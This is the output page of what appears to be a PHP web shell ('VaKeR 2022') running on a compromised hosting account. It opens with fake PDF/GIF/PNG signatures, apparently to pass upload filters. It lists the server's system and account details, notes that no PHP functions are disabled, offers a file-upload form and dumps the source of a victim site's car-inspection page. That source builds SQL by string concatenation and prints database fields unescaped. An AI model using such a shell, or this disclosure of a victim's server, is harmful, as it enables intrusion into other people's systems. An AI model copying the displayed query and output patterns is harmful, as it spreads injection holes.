%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_93b53270/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_93b53270/my-inspections.php
<?php include('header.php'); 

if(!isset($_SESSION['user_id'])){ 

	echo "<script>window.location='login.php'</script>";
}

?>

<section id="chng-pwd">
	<div class="container">
		<div class="row">
			<div class="col-md-4">
				<?php include('user-sidebar.php'); ?>
			</div>
			<div class="col-md-8">
				<div class="bg-white p-5 br-20 my-5 box-shadow">
					
						<div class="row">
							<table class="table table-striped table-hover">
							 <tr>
							 <!-- <th><input type="checkbox" id="some1" data-check-pattern="[name^='delete']" /></th> -->
							 <th>Sr.no</th>
							 <th>Chassis No.</th>
							 <th>Owner Name</th>
							 <th>Our Details </th>
							 <th>Action </th>

							 </tr>
							 <?php
								$query=mysqli_query($conn,"SELECT * FROM `inspection_tbl` WHERE user_id='".$_SESSION['user_id']."' ORDER BY ID DESC");
								$n=1;
								while($fetch_row=mysqli_fetch_array($query)){ 
								$file = $fetch_row['file_upload'];
								$file_path = "images/Upload/inspections/" . $file;
							 ?>
							 <tr>
							 <!-- <td><input type='checkbox' name='delete[]' value="<?=$fetch_row['id']; ?>"></td> -->
							 <td><?=$n; $n++; ?></td>
                             <td><?=$fetch_row['chassis_number'];?></td>
							 <td><?=$fetch_row['owner_name'];?></td>
							 <td>
                                <strong> Year Manufacture - </strong><?=$fetch_row['year_of_manufacture'];?><br>
                                <strong> Car Model - </strong><?=$fetch_row['car_name_model'];?><br>
                                <strong> Number Plate - </strong><?=$fetch_row['number_plate'];?>
                            </td>
							 <td>
                                 <!-- <?php if($fetch_row['status']==0){ ?>
                                 <a class="btn btn-secondary btn-sm">Pending</a>
                                 <?php } if($fetch_row['status']==1){ ?>
                                 <a class="btn btn-success btn-sm">Success</a>
                                 <?php } if($fetch_row['status']==2){ ?>
                                 <a class="btn btn-danger btn-sm">Cancel</a>
                                 <?php } ?>&nbsp; -->

                                <?php echo '<a href="'.$file_path.'" target="_blank" class="btn btn-primary btn-sm">View</a>'; ?>                     
                             </td>
							 </tr>
							<?php } ?>
							 </table>
						</div>

				</div>
			</div>
		</div>
	</div>
</section>

<?php include('footer.php'); ?>

VaKeR 2022